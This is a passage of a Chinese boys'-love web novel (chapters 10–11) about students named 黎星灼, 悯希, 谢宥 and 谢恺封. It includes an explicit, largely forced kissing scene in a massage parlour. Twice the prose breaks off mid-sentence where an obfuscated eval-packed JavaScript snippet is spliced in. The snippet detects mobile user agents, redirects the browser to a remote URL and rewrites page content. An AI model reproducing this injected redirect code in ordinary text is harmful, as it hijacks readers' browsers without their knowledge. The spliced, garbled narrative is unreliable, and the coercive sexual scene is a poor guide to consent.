桌上东西不多,只有一盏台灯,相框就处在台灯的阴霾之下,隔着一层玻璃,里面五个背着登山包的男人都是笑容满面。 他们全部面向大床。 第三秒时,照片中间的男人忽然勾了一下唇角。 - …… 十一点一到,整栋宿舍楼强制熄灯,电闸一关,所有楼层陷入黑暗中。 但灯关了是关了,不见得有人睡,三个帘帐里能有两个里面的人还在骂骂咧咧打游戏。 黎星灼难得喝了点酒,躺在床上睡了十分钟,又醒了。 他又梦见那天在厕所的场景,悯希站在他两条腿中间一动不动,用那平淡的、好像什么都不在意的眼神盯着他。 而他却依赖地靠在对方的小腹上,喉结不停滚动,好似怎么也离不开对方。眷恋对方身上的馨香,眷恋对方给他的安抚感。 他睁开眼睛,混沌地盯了会上面的木板,鬼使神差拿起枕头边上的手机。 黎星灼有两部手机,两部都插着电话卡,其中一部是用来应付朋友的,另一部用来应付家里人。 他给悯希平时发消息的那部被拉黑了,他又拿出另一部给悯希发。 而此刻,黎星灼一打开屏幕,映入眼帘的就是自己半小时前发的、整整翻三秒才能翻到底的信息。 左边是空的,悯希没有回他。 没人能想到家财万贯的黎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15223920|165099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家太子爷,这么作践自己,抛下自尊,对方竟然连一个字都懒得回。 以前这种事,只有他对别人做的份,别人连想都不敢想,又哪敢做。 偏偏悯希就是敢。 黎星灼真被折磨得有点疯了,也没过几天吧,怎么叶悯希就像变了个样子,胆子变得这么肥。 而他自己也没好到哪去,掉价跌份的事一件接着一件干,贱到不可思议。 黎星灼越想越烦躁,正想把手机扔到一边,手中却嗡的一声,传来震动。 黎星灼愣了一下,立刻撑着胳膊坐起来,后背倚在墙上,随手往后撩了一下乱糟糟的头发,低头看去。 只见悯希回过来一条简单的。 ——字太多了,不想看。 黎星灼一个通话拨打过去。 半分钟后,才有人接通:“干嘛?” 黎星灼眉眼很沉,憋着一股火问:“为什么这么久不回我消息。” “刚在洗澡。而且哪有很久啊。”那边悯希的声音有些困顿,咬字软糯,含一股水汽。 黎星灼听出他没在撒谎,心情好受了一点:“我给你发的消息你一条都没看?” “没看。” “为什么不看。” “不想看就是不想看,你打过来到底要干嘛?” 黎星灼问:“你实话跟我讲,白天那个到底是谁?” 悯希以为黎星灼打电话过来是道歉的,没想到一开口就是质问,还是连番的质问。 他小脸冷下去,又想起白天被当面问是不是被包养了的事,恼怒道:“黎星灼,你烦不烦?” 黎星灼顿了顿,听出悯希生气了。 悯希是个笨蛋,一生气也不会骂人,只会不停拉黑。 黎星灼只剩下这么一部有电话卡的手机,他忍了忍,轻咬后牙:“行,我不问了,那你告诉我你现在在哪,我听你们寝室的人说,你今晚没回宿舍。” 悯希还不太高兴,忍着脾气道:“我和我养父在一起。” 黎星灼胸膛起伏:“他到底给你灌了什么迷魂汤,他对你很好吗?” 悯希趴在软床上,脑袋盖着一条湿毛巾,嘟囔着回答:“很好,他给我收拾了一个大房间让我睡,家里的东西也都让我用。” 黎星灼低声:“这样就算对你好?” 也只有你这么容易被骗。 给你一个大房间,就巴巴跟人走,被人吃干抹净都不知道。 悯希轻抬下巴:“就是很好,他还会担心我的安全,准备每天都来接我回家。” “不像你,只会骂我,说我不要脸,被别人包养,一点不自尊,不自爱,小小年纪不学好。” 黎星灼:“……除了包养那两个字,其他哪句是我说的?” 他强压下心中的气焰:“你听我说,那个男的绝对不是好人,要不然你告诉我他叫什么,我去查查他的底细。” 悯希沉默几秒:“黎星灼,你不要这么恐怖好不好。” “谁恐怖?我恐怖?你说我恐怖?行,我恐怖……你确定你要一直跟着他?” “确定!” “行,好得很。” 那一秒,黎星灼只觉得有一团火直接冲没了头顶。 黎星灼啪一下挂断电话。 悯希被挂得猝不及防,有点呆地愣在床上,用毛巾搓揉头发的动作也停了下来。 他甚至还没想到要发火,屏幕就嗖地窜出一篇文章。 ——这两天我可能给了你一种错觉,让你觉得我很喜欢你,非你不可。但其实没有,我承认,你的脸很符合我的审美,可远没有到能让我挨你一巴掌、好心管你还要被你骂的地步,况且我也不是同性恋,我对你仅是欣赏,没有男女之间的爱恋,我管你,只是出于对朋友的担心,我怕你被不怀好意的老男人骗,你不领情就算了,还对我发脾气,再过几天,你是不是就该骑我头上撒尿了?你脾气这么大,一泡不够你撒的,还得撒第二泡第三泡第四泡!把我当花盆一样浇,我还得忍气吞声继续给你当孙子!我没那么贱,我不会再管你了,你好自为之吧,以后你最好绕着我走,别让我看见你,再见。不,再也不见。 悯希很惊讶,这前后才不到半分钟,能发来这么长的字,这已经不是人类可以达到的手速了。 他一个字一个字看过去,还没看完。 消息显示被撤回。 ——刚才开玩笑的。 ——撤回了,不许当真。 ——撒多少都可以。 ——看到扣1。 10.催眠(10) 悯希反手拉黑。 吹干头发后,他往暖烘烘的被窝里一躺,用慵懒安逸的姿势刷着手机,直到刷累了,自然而然睡过去。 没等到1的黎星灼第二天傍晚发起了低烧,温度不高,但昏昏沉沉的哪都不想去,他躺在被子里,听到小弟打来电话,本来想挂断。 忽然想起这小弟似乎和萧以梵那帮人厮混得很好,又接通起来:“喂。” 那边传来叽叽喳喳的声音,一听就是一下课,这群跟班又凑了起来,准备商量着去哪玩。 悯希应该也在其中。 黎星灼自顾自地说:“我发烧了,刚量过,37.8。” 半秒后,一道年轻的声音疑惑出声道:“哥,你白天不是已经告诉我了吗?我知道的。还是说你太难受?要不然我回去照顾你算了。” “……”黎星灼硬邦邦说了句不用,又问:“悯希呢?” 小弟更加疑惑,黎星灼怎么问起一个和他几乎没交集的人,但还是回答道:“他刚刚就走远了,哥你有事找他?那我去叫他过……咦?” 挂断电话的黎星灼转身就趴在了被窝里。 高挺鼻梁埋进枕头,腰侧衣服卷起,露出小半片薄肌的剪影。 黎星灼几乎用尽全部力气,才忍住鼻子继续泛酸,他这辈子顺风顺水,委屈受得少,这才半天,他就被悯希接连的拉黑和漠视气得…… 眼泪都快掉下来了。 另一边,悯希正准备和那些人一起去玩。 今天黎星灼和萧以梵都不在,这帮小弟自发地组织起一个局,说是晚上吃完饭就去雅月汇足道按摩。 悯希拍照的任务只剩下一天时间,根本不敢浪费,所以一开始是不想去的,可他又无意间听到两个男生吹水聊天,说之前见过谢宥在那边打工。 他又改变了主意,决定今晚去那里碰碰运气。 雅月汇是一栋三层高的独立顶级娱乐场所,人均千元起,私密性很高,一进门不是前台,而是泉水叮咚,假山假石,还有缭绕到天花板上的白烟。 欣赏得来的,会说一句人间仙境,欣赏不来的,只会觉得虚头巴脑、华而不实。 悯希属于后者,他蹙着细眉和买单的人一起往里走,一边低头给谢恺封发着消息,说自己今晚要在雅月汇玩。 谢恺封回得很快,让悯希快结束的时候告诉他,他来接自己。 悯希看到这条消息的时候,身后大堂突然爆发了一场混乱的争吵,吓得他眼皮一抬,没顾得上回谢恺封。 先是经理招呼道:“小谢,你带客人们去包厢。” 再是有小弟发现熟人,吹了一声口哨:“这不是谢宥吗?你还真在这啊,这整个潭市的工都被你打遍了吧,到底是多缺钱?” 谢宥没理会那些调侃,平静地带着他们往预定的包间走去。 身后有个男的像是不满意他那态度,大步追上去想拉住他,谁想谢宥力气大,他没扯动半分,反而一头撞上去,撞了个结结实实。 他手里拿着的一杯开盖奶茶,也顺势哗啦一声,全洒在了地上。 温热的液体一半成了水泊,一半浇了他自己半身。 这洋相出得男人面红耳赤,他支支吾吾片刻,急眼了,指着谢宥就大声骂道:“你瞎啊!不长眼睛是不是!我这刚买的奶茶,一口都没喝就被你撞没了!” 这纯粹就是在颠倒黑白了。 长眼睛的都看见了,根本不是那么回事。 但没人吭声。 谢宥抬眼看向男人。 他穿一身清清爽爽的白色工作服和黑色长裤,袖口略微弯起,手臂精瘦,肌肉线条分明,手掌的指节和筋骨都修长分明,上面的伤口没减损半点男性魅力。 身姿挺拔的男人站在满地甜腻的奶茶中,垂着眸,看起来不准备反驳什么,声音低低哑哑道:“抱歉。” 谢宥的个子其实比那男的高很多,肩背很宽,手掌也宽大颀长,如果覆在悯希脸上,可以整张脸都包住,胳膊上锻炼出的肌肉,不刻意用力,也能鼓出匀称的弧度。 他明明能轻而易举收拾一顿面前的人。 那男的听他这么道歉,脸色才好看许多,可依旧很不爽:“眼睛不用就去捐掉,省得每天出来气人。” 他还欲再骂,身后忽然走过来一个人:“你给他道歉。” 是悯希。 男人愣了下,以为悯希在给他出头,声音低下去,有些磕巴道:“他道过歉了,不过,再说一次也无所谓。” 他得意洋洋地扭头看向谢宥:“听到没有,你再给我……” 没说完,男人眼睛睁大,转头不可置信看向悯希,才反应过来悯希是让他给谢宥道歉。 认真的?! 他们才是一伙的,悯希竟然让他给这自己万般瞧不起的臭小子道歉?有没有搞错?传出去他面子往哪搁,不得被人指着脑门嘲笑! 男人脸色涨红,不敢相信悯希会说那样的话,而悯希说完那句,就没再多说其他的。 低头玩着手机,一副道也可以,不道也可以的样子。 男人内心极度不愿意当着众人的面示弱,可他知道黎星灼这两天总跟着悯希出去,他不知道两人关系是深是浅,不敢涉险。 脸色阴了又阴,额头跳着,半晌后,他咬碎牙挤出一句:“对不起行了吧!” 转头又低声咕哝:“穷酸货。” 谢宥没说话。 眼睛黑得发深,既没有被羞辱的愤怒,也没有被围观的狼狈,他沉默寡言地弯腰捡起那杯子,视线从悯希身上一晃而过,表情平淡地走了。 客人是上帝,无论发生什么都尽可能不要和客人起争执。 他做到了,在场的当事人也没有继续找茬的道理,皆大欢喜。 但悯希却觉得后背忽然升起了一种被冒犯到的烫意。 谢宥临走前看过来的那一眼,让悯希感觉像被…… 像被舔了口一样。 周身都发起毛。 这场闹剧因为谢宥的忍受,轻飘飘就结束了,一直在旁旁观的几个人纷纷走上前去搭那男人的肩膀,让他少和没必要的人计较。 悯希跟在他们后面,一起进了包间。 他坐的是最里面那一张床,还没坐稳,点的几个技师就敲门挨个走了进来。 悯希腿上有很多痒痒肉,别人碰他的腿,他会很不自在,所以他拒绝了足浴,单纯让技师按摩他的肩颈。 其他人都是全套的高级套餐,完整的一次下来,要两个小时,而他们吃完饭就已经很晚,悯希是最快按完的,一看表也三四点了。 悯希给谢恺封发了消息,没忘记自己今天来的目的,随便找了个借口出去,一出面碰见一个服务员,他旁敲侧击,问出谢宥这会正在一间包间打扫卫生。 悯希立刻来到那服务员指的包间门口。 他手放在门上,深深吸气。 一不做二不休。 进去就把谢宥衣服扒下来拍一张照片。 就这么干!如果不成,他再想其他办法,他有的是手段。 悯希斗志满满。 趁附近没有人影,悯希将门一把推开,再走了进去。 这是一间一楼的包间,客人刚走,桌上到处是堆满果皮和瓜子皮的盆子,头顶的凉风嗡嗡吹拂,光线是催人昏睡的暗淡。 悯希一眼看见了里面的谢宥,他张了张嘴,没叫出声。 但谢宥已经听见脚步声,他面无表情直起身,肩膀、胳膊、上半身接连转过去,白色的工作服很长,正好遮住蛰伏的阴影。 悯希还在思索怎么直接上手,前面,模样俊秀的男人垂眼看他,对他的出现毫不意外,启唇问道:“要拍照?” 包间里气氛怪异,让人不舒服。 悯希原本就在四处张望,听到这话,眼睛霎时睁圆,匪夷所思地问道:“你怎么知道!” 包间里响起脚步声。 谢宥一步一步朝悯希走近,神情很平静,脖颈侧却有一条轻微浮起的青管,似乎是忍耐到了极致,正在神经性的抽动。 “让我碰一下你,我就给你拍。” 悯希:“……” 悯希警惕且茫然。 也不知道事态是怎么发展成这样的,明明是他要来作恶,怎么反倒是谢宥在这里问他:“什么啊……你要碰哪?” 谢宥只问:“给碰吗?” 悯希抿了下唇,表情无所谓。 能怎么碰,碰一下手,碰一下胳膊,碰一下衣服,都是碰,又不会掉块肉。 能不费力气就拍到照片,反而更好。 “随便吧,赶紧的。”悯希皱眉道。 …… 好像说错话了。 当悯希被一只宽大的手托住脸,再被撬开唇缝用力吸吮起来的时候,满脸都是惊恐和不可置信。 谢宥说的碰,是指这个碰? 是不是弄错了…… 一定是哪里弄错了。 他不是主角受吗,不是和萧以梵是一对吗,他突然对自己发什么情?! “哗啦”—— “踏踏踏”—— 豪华的大楼外,此时布满了雨声和脚步声。 雅月汇外面有一圈瓷地板,这雨下太大,有些客人进来时,脚底会把地板踩出污泥,看起来脏兮兮的不太好看,经理就让几个服务员出去把地拖干净。 拖到一半,这经理想起来可能会打扰到一楼的贵客,又把打扫卫生的服务员们都驱赶回了大堂拖,并且禁止谈话,只准干活。 有个较为年轻的服务员是最后一个走开的,走开之前,他隐约听见后方窗户里传来一声低哼,轻轻的,一吹就散。 那服务员是个未经世的少年,他这种家徒四壁的小孩自小也没有人仔细教导情爱之事,只觉得那声音有些奇怪,却并未多想,也没去深究。 可但凡他若是再停留片刻,可能就会听见里面剧烈的一声—— “啊哼……!” 屋里孤伶伶的一盏灯亮着。 映出墙角正在紧密相贴的两人。侧面看去,里面的人正上仰着脸,唇齿大张,露出一条被拖到了另一处口腔里舔.弄的舌头。 悯希背贴墙,被谢宥半搂在怀里,他头发乱了,垂在耳朵上,衬得那含情眉目更加宛如妖孽。 男人温热的拇指扣在他胳膊上,将那两条发抖的手托在掌心里,托莲似的,向两边掰着举着,软弹的肉将他嵌在里面的手指全面包围,柔腻触感激起了男人的施虐欲,手指一动,忍不住粗暴揉捏起来。 悯希伸手掰了他手掌两下,就再也无力抗拒,抬手抵在他胸膛前。 “嗯……啊……” 悯希嘴生得小,谢宥把舌尖伸进唇缝时他就双眉轻蹙,眼尾发红,好似被那异物噎到了。 他没接过吻,不知道是不是天底下所有人的吻都这样激烈,唇肉纠缠,贴紧,发出黏腻的吮吸声。谢宥好像还把他的嘴当成了另一种东西,非要弄熟弄透了,舔他的唇缝,吃他的舌尖,还用牙齿时不时轻咬,将他唇里所有东西都要吃进肚子里,连带津液,生出来了就吸,生出来了就吞。 悯希脸颊肉被顶出一个又一个鼓起,他噎得不住喘息:“啊……别这样……” 背后是一堵墙,悯希逃无可逃,被挤成一团缩在谢宥的怀里,一小条唇缝被迫乖顺地含着男人的舌尖。 悯希两条腿都绷紧了,又松开,无力地跌坐下去。他怕自己摔倒,一手撑在墙壁,指尖离窗户就半寸远。 指腹忽然感觉到有震感,余光看见有剪影在窗上摇晃,是两个落下东西的服务员。其中一服务员手拿扫把,语带担忧道:“刚刚我看见有人过去找谢宥了,你说会不会出事?” “谢宥又不蠢,有事会出来叫我们的,你熬夜熬糊涂了?” “你才糊涂,谢宥和那帮人怎么能比?万一那些人发狂了,仗势欺人,只怕谢宥谁都不敢找。” “你说的有道理,那我们……进去看看吧。” 脚步踢踏,踩过一个个水泊,为首的服务员进到楼里,来到门前,遒劲有力的手指抵在门上,敲了两下:“咚咚!” 悯希手指猛地蜷紧,睫毛剧烈震动,被含住的唇缝里溢出了一声似痛苦又似有其他意味的轻吟。 这一抖,他嘴唇大张,让谢宥几乎顶在喉口的舌尖一下往深处进了半寸,悯希抖得浑身绷紧,舌头下意识往上翘了一点。 谢宥被这一舔.弄得喘了声,像是爽的,伸手便摸上悯希的脸,掌心托住悯希的脸颊,难耐又痴迷地摩挲。 外头传来一服务员的声音,原本似是要叫谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15231447|165099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宥,后面又怕得罪人,改口变成:“客人,你还好吗?” “啵——” 舌尖从禁锢里拔出的声音。 带出一股热气。 悯希用力偏过脸,让谢宥吻上他的脸侧。他扬长纤细的脖子,缺氧地哈了两口气,颤抖地对外道:“我很好,不用担心。” 不好。 他不好。 一点都不好。 但这种被男人亲得下巴都是口水的样子,他宁愿死也不想别人看见。 外面服务员面面相觑,脚步声渐远。 悯希望着门缝里的影子,肩膀和后背绷得像一根弦,压在他身上的谢宥忽然又有了动作,一点点嘬起他的脸肉,咬了咬,又伸出舌头舔去他唇角的甘霖。 他被迫抬起头和男人对视。谢宥唇瓣红肿,唇周倒很干净,但悯希能察觉到自己下巴上,糊满了自己和谢宥的口水,悯希眼中涌出些许绝望。 谢宥,我真的、真的想杀了你! 悯希眸中水汽氤氲,已经全然不管不顾,直呼大名地开口骂道:“谢宥,你个混……啊哼!” 一张一合的唇瓣被炙热的唇舌直捣而入,在热乎乎的口腔里搅得天翻地覆,悯希“嗯!”地喘出声,艰难想要躲避,舌尖却屡次勾到男人的,惹得谢宥气息更粗重地压上他。 唇被包裹着,色.情又缓慢地吸吮,谢宥每次还要故意嘬出声音,让悯希听得面红耳赤。 “嗯哈……啊……” 悯希不想发出这种声响,努力忍着,可无论他忍得多么若无其事,只要露出那张水光淋漓的脸,被吸得微微松弛的嘴唇,还有好不容易汇聚出一点又被吸走的津液,就能立刻发现他正在承受多么过分的事。 男人的舌尖不腻倦似的,还在那道唇缝里来回进出,吸得汁水啧啧,可怜的美人被吻得全身剧烈发抖,只能扶住男人挺括的肩膀,哀声低喘。 悯希到最后眼睛都微微上翻。 …… 天边渐渐泛起鱼肚白。 一个多小时过去,粘腻的水声终于似是要停止。 悯希筋疲力尽地软倒在谢宥的手臂上,眼皮半闭,自顾自地呼吸空气,而谢宥则搂着他,像餍足的兽类凑在他唇边舔着口水。 他的外套早就不知道被扔到了哪里,一侧领口全滑下去了,衣服被揉得、抓得像一条拧起来的绳子。 他看起来整个人好似被亲烂了。 嘴巴红彤彤一片,润着水光,被开发得怎么合也合不拢,今晚但凡他有一点想要合上的念头,谢宥就会用唇齿撬开。到最后他已经形成习惯,一直张着,宛如失去了弹性,被弄坏了。 悯希翻身趴在谢宥的胳膊上,被碰一下就哆哆嗦嗦发抖。 他想要抬起手背擦擦下巴,忽的,一墙之隔的屋外传来嘈杂的脚步声。 雨夜掩盖不住来人的动静,那人一脚深一脚浅地踩在湿土里,几步逼近雅月汇。 悯希浑然没有发觉,嘴唇微张,身体还在打着浪花一般的细小哆嗦,衣服里侧汗水黏着肉,浑身都湿得像从水里刚捞出来的一样。 看着他这副模样,谢宥又低下一点头,亲在了他嘴唇上,然后就挨了一巴掌。 很重,很响。 悯希都懒得骂他,有气无力道:“走开!” 谢宥连脸都没歪,压在他嘴唇上继续亵玩舔舐,还狠狠咬住下边唇瓣嘬了一下。 被吻了那么久的人哪还有力气,脑袋被嘬得往后一仰,半眯起眼,露出了一丁点盈着露珠的舌尖。 “我让你走开,听不懂吗!”悯希挥手就推开了男人,两只手掌抵在对面的胸膛上,一双眼水光潋滟,恶狠狠地瞪着谢宥。 谢宥没从那眼神里察觉到威慑力,还要继续低头。 这个疯子! 火气和畏惧蹭蹭上涨,悯希扬起手还要再扇。 忽的,他看见自己掉在地上的手机在闪,有人给他发来了消息。 来不及看清内容,悯希就注意到,雾蒙蒙的窗户外面,有一道撑着黑伞的高挺身影,气质不凡,在朝这边靠近,再有大概十步左右,就会到窗户周围。 男人天生敏锐,感觉到周围有视线在看他,便抬高了伞檐,露出一双含笑的黑眸。 下一秒,他和悯希对上了目光,让悯希看清了他的那张脸。 ——是谢恺封! 悯希心跳频率迅速飙升。 他忘记谢恺封要来接他了! 悯希一把掐住谢宥的手背,用气音警告道:“你就站在这里,不要乱动。” 谢宥站的地方,对于窗外的人来说是死角,但只要再往走半步,身子就会露出去。 悯希不想给自己找麻烦,万一到时候谢恺封问起来他和谢宥在房间里干什么,他不知道该怎么说。 谢宥没说话,但也没有动。 盯着他那张看似正经的脸,悯希气不打一处来,没空和他多说,朝窗边走去。 边走,边有一行水顺着嘴角往下滑,窝在锁骨处,悯希狠狠擦去,走到窗边的脚步越发急促。 当在窗边站定,谢恺封也正好笑着走了过来,悯希拉开窗户,仰起脸对他笑:“你来啦。” 谢恺封嗯一声,微勾唇角:“本来想进去找你,没想到你在一楼。” “今晚玩得开心吗?” 悯希点头:“开心。” 男生脸蛋红扑扑的,好像真的很高兴。 谢恺封脸上不由露出些许玩味。 他不太熬夜,但这种来接人的体验,对他来说很新奇,感受也不坏。 他笑意加深,望着悯希道:“那就回去吧,我开了车过来,就停在……” 话音倏然顿住。 悯希茫然问:“怎么了?” 谢恺封没继续说,只眼神变得危险而深幽。 谢恺封在谢家当私生子的这么多年,想立足、想扎根,最先需要学会的就是察言观色。 从刚才起,悯希和他说话时,余光便时不时往右边侧去,尽管动作很细微,却不难发现。 目光往下滑。 脖子也覆着很多汗,好像很紧张,怕被他发现什么。 有人。 谢恺封几乎笃定地下了定论。 悯希旁边有其他人。 就在屋子里。 11.催眠(11) 谢恺封不说话的时间有点长了。 悯希没那么笨,自然发现谢恺封的目光在绕过他往屋子里面看。 他身体紧绷起来,双手攥着窗沿,不顾手指都被弄脏,勉强对谢恺封露出一个笑容道:“怎么不说话呀?” 可怜的小水母,没发觉自己声音都在抖。 他不想让他发现。 谢恺封挑起眉,压住眼中的暗沉,笑道:“其他人呢?怎么只有小希一个人在这里。” 一边说,他一边抬手,在悯希手腕的红痕上摩挲,手法不带狎昵,好像只是单纯的触碰。 一点雨水从伞沿掉落,掉在悯希手背上,加上拇指的抚摸,让悯希感觉又凉又痒。 他身体微微打颤,硬着头皮撒谎道:“他们在另一个房间,厕所有人用,我又有点憋不住,就来这里上了。” 谢恺封不置可否,收回手,盯着那极速回弹的皮肤,问:“小希总是想上厕所,是不是有点尿频?” 悯希瞪大眼睛:“你才尿频呢!” 说完,又想起谢恺封是谁,耳垂热热地说道:“你怎么能这么说,你给我道歉。” 谢恺封从善如流道:“对不起。” 他笑了笑,从臂弯里拿起一件棕色的雨衣,“先出来吧,我给你带了雨衣,免得弄脏衣服。” 见谢恺封不再细究,悯希立刻点点头关上窗户,临出门前,他狠狠瞪过角落的谢宥。 然后加快脚步,走出包间,跑到门口的谢恺封面前。 谢恺封从头到尾打量过悯希,眼中暗流一闪而过,没说什么,抖了抖手中的雨衣道:“来,抬胳膊。” “哦。”悯希本能应了一声,照谢恺封的指示抬起左胳膊,又抬起右胳膊,直到整件雨衣全部穿上,悯希才发现身上的雨衣是件小猫雨衣。 头顶两瓣又圆又俏的小猫耳朵,悯希的脸被裹在里面,显得更白更柔软。 他盯着水泊里自己的样子,敢怒不敢言。 谢恺封这是什么恶趣味。 他又不是小孩。 谢恺封在给他系脖子上的系带,悯希咕哝了一声低下头,下巴就挤在谢恺封的手上。 嫩生生的肉裹着手指,触感又嫩又滑,谢恺封下意识把整个手掌都包在他脸上揉了一把。 悯希被他揉得发出不高兴的咕唧叫声。 在悯希忍不住想要打开谢恺封的手时,身后雅月汇的大门忽然打开,有人从里面走出来叫住悯希:“悯希!太好了,你还没走!” 悯希回头。 模样普通的男人和他对上视线,脸色惊喜,悯希看了两三秒,这才回忆起他好像是黎星灼那边的人。 男人想走上前和悯希说话,可看到他后面的谢恺封又停了下来,神情局促又犹豫。 悯希看了眼谢恺封,拉好雨衣下摆,主动走过去。 男人见状,神色惊喜,隐藏在惊喜背后的,则是腼腆的害羞。 他扫了一把鼻尖,压低声音说:“悯希,你能不能回去看看星灼?他傍晚就有点低烧,没想到吃了药还没好,刚才打电话一问,直接烧到38度多了。” 悯希没想到男人叫住他是因为这个,可他皱眉,有点想不通:“这种时候你不是应该去找医生吗?我过去也帮不到他。” 男人一听,语气更为难:“他不肯去,他那个人只有自己想去的份,别人都劝不动他。” 悯希吸气:“所以我过去有什么用?他也不会听我的。” 况且他们还吵架了。 男人着急道:“不一定的,晚上去吃饭前他还和我打电话问过你在哪里。” 问他?问他干嘛?悯希没想明白,耳边又传来男人焦急的连声恳求:“拜托你了,就去看一眼,拜托,拜托,拜托……” 悯希:“……” 悯希这个人吃软不吃硬,尤其是当别人用求求你、拜托你,这一类词,他就有些晕乎乎的。 他抬手,制止男人继续叫:“好了,你不要拜托了,我去就是,但提前声明一点,我不能保证可以把他劝去医院。” 男人点头如捣蒜:“不用劝去医院,星灼有私人医生,直接拿他手机打给他,让他来学校更方便。” 万恶的有钱人。 悯希绷住表情,应了一声,转过身朝那边的谢恺封走去,待谢恺封看来,他就说:“我想回一趟学校。” 谢恺封目光从身后的男人扫过,五官幽森。 不等他拒绝,悯希立刻小猫拱手,学以致用道:“拜托,拜托。” …… 凌晨三点多,单人宿舍里。 黎星灼从床上艰难爬起来,穿上鞋,拿起床头挂着的外套往外走去。 从刚才小弟打来的电话中,黎星灼才知道他们今晚要去的地方是雅月汇足道。 雅月汇,他们居然要去雅月汇?! 黎星灼眼中满是阴翳,连呼出的热气都驱不散他脸上的冰冷。 他不是担心悯希可能会在店里点一个鸭子寻欢作乐。 他才不担心这个。 而是他们一帮二十岁左右的人,居然去那种成人意味极浓的地方,实在是小小年纪不学好。 他们平常都跟着自己,别人都知道他们是他的人,他不能让他们出去败坏他的名声,也不能放任他们继续不检点下去。 他有必要去好好治一下他们的不良风气。 他是为自己好,和悯希没关系。 他和悯希已经一刀两散,他走他的独木桥,他过他的阳关道,他不会再去管悯希了。 他是去抓自己的人,不是去抓悯希,他根本不在乎悯希如何。 那坏家伙就是点一百个鸭子,他眼睛都不会眨一下,也不会过问一句。 黎星灼恶狠狠想着,把手放到门把上。 下一秒,他发现自己还没用力,门把已经向下拧动。 门向里打开,泼墨般的眉眼、凤尾蝶一样的睫毛,挨个露出来,伴随着惊讶的一句问话:“黎星灼,你要去哪?” 黎星灼一下愣住。 他眨了两下眼睛。 悯希看着他的那副傻样,有些无语:“发着烧还想往外跑,不想活了?能不能乖点。” 黎星灼原本还以为自己出了幻觉,站在原地傻傻盯着悯希。 直到听到这句乖点,他转眼冷下了脸。 乖点? 黎星灼眼珠缓缓挪动,在悯希伸来一只手摸他额头时,像条小狗一样往上面无意识蹭了一下,眼眶瞬间忍不住酸涩起来。 这坏家伙凭什么让他乖点,他是他什么人。 这个没良心的坏蛋。 黎星灼不知道悯希为什么会出现在这里,有心想惩罚一下他,所以故意一句话都不和他说。 只可惜悯希根本不在意,只当他是烧傻了。 悯希从他身边走过,黎星灼仓促间转过头,藏住自己发红的眼睛,不想让人看见自己的失态。 谁想悯希也根本没有看他,而是直直走到窗边,抬手关上。 皱眉:“连窗户都不关,你不发烧谁发烧。” 黎星灼嘴唇紧绷,有些赌气地想,他有他自己的生活,大晚上和一帮人出去花天酒地,管自己做什么呢。 悯希关好窗户一扭头,见黎星灼还杵在门口,屋里失温严重,他没办法,只好过去拉黎星灼。 男人起先不愿意走,被拽了两下,慢吞吞往前一起动了。 但他人又高,又重,悯希拉着他很是费劲,好不容易把他拉到床边,往床上放,他身子太重,把悯希带着一起往后栽倒了。 脖子突然又湿又热,悯希艰难把黎星灼扶稳,一站起来,就看见黎星灼薄薄的眼角在无声地往下滑水。 悯希:“……” 擦了两把脖子上黏答答的泪水,悯希沉默。 黎星灼好像还没意识到,面无表情看着悯希道:“你不是把我拉黑了吗。” 悯希表情平淡,又是那种什么都无所谓的眼神:“是,所以你要赶我?那也行,我走了。” 他转身,接着衣角就被拉住。 黎星灼直接站了起来,小小的一片衣角被他抓在手里,好像悯希再往前走一步,他的情绪就又要崩溃。 悯希慢慢把衣角从他手里抽回来,黎星灼脸上又有崩溃的趋势,他只好停手,叹气道:“这也不行那也不行,你真的……你别闹脾气了,我们和好行不行。” 他拿出手机:“我把你都放出来,但你以后不能再嘴贱。” 黎星灼一顿,松开手:“你要拉黑就拉黑,要和好就和好,我凭什么顺着你来?” 悯希真有点想撒手不管了。 他皱眉,刚抿了抿唇,脸上就出现一种轻微吃痛的神色,来之前他嘴巴太痛,在附近买了润唇膏擦,但还是一碰就刺痛。 悯希忍了忍,转头看见桌上有一瓶空矿泉水瓶,心念一动,他重新看向黎星灼:“那我送你一个东西,就当和好礼物,这样行了?” 黎星灼滚了滚喉结:“看心情。” 悯希将一把凳子放在床边,拿过桌上的塑料瓶,以及一把剪刀,在凳子边蹲下。 黎星灼忍不住问:“你要做什么?” 悯希没说话,他拧开瓶盖放到一边,用剪刀剪去瓶口,再在剩余瓶子中上方差不多的地方轻划一道,再沿着这一道子绕圈剪开。 再下一步,悯希把手机平放在凳子上,再把剪出来的塑料瓶摆在屏幕平面。 他手指细长、白皙,从裁剪到摆放,都是一种别样的赏心悦目。 凌乱的砰砰声又响起来,黎星灼目光不知何时放空,盯着那双手来回运动,直到悯希开口道:“关灯。” 黎星灼本能遵从命令,抬手关掉了旁边的按钮,再一回头,床边跃出来一只色彩斑斓的蝴蝶。 不及半个巴掌大小,却如此鲜活,真实、触手可及。 “佩珀尔幻象,”悯希嘴角微勾,塑料膜里的蝴蝶成像曼妙扇动翅膀,无数的亮粉从蝶翼下飞下来,宛如流动的闪耀星河带,碧蓝、茄紫、深粉,一切美妙颜色倒映在那双笑意深深的眼眸里,“喜欢吗?” 砰、砰砰。 砰砰、砰砰砰…… 蝴蝶飞在空中,让人辨不清现实与幻象,黎星灼盯着他唇边柔软的弧度,眼皮垂了下来:“喜欢。” 这句话没发出声音来。 他不得不 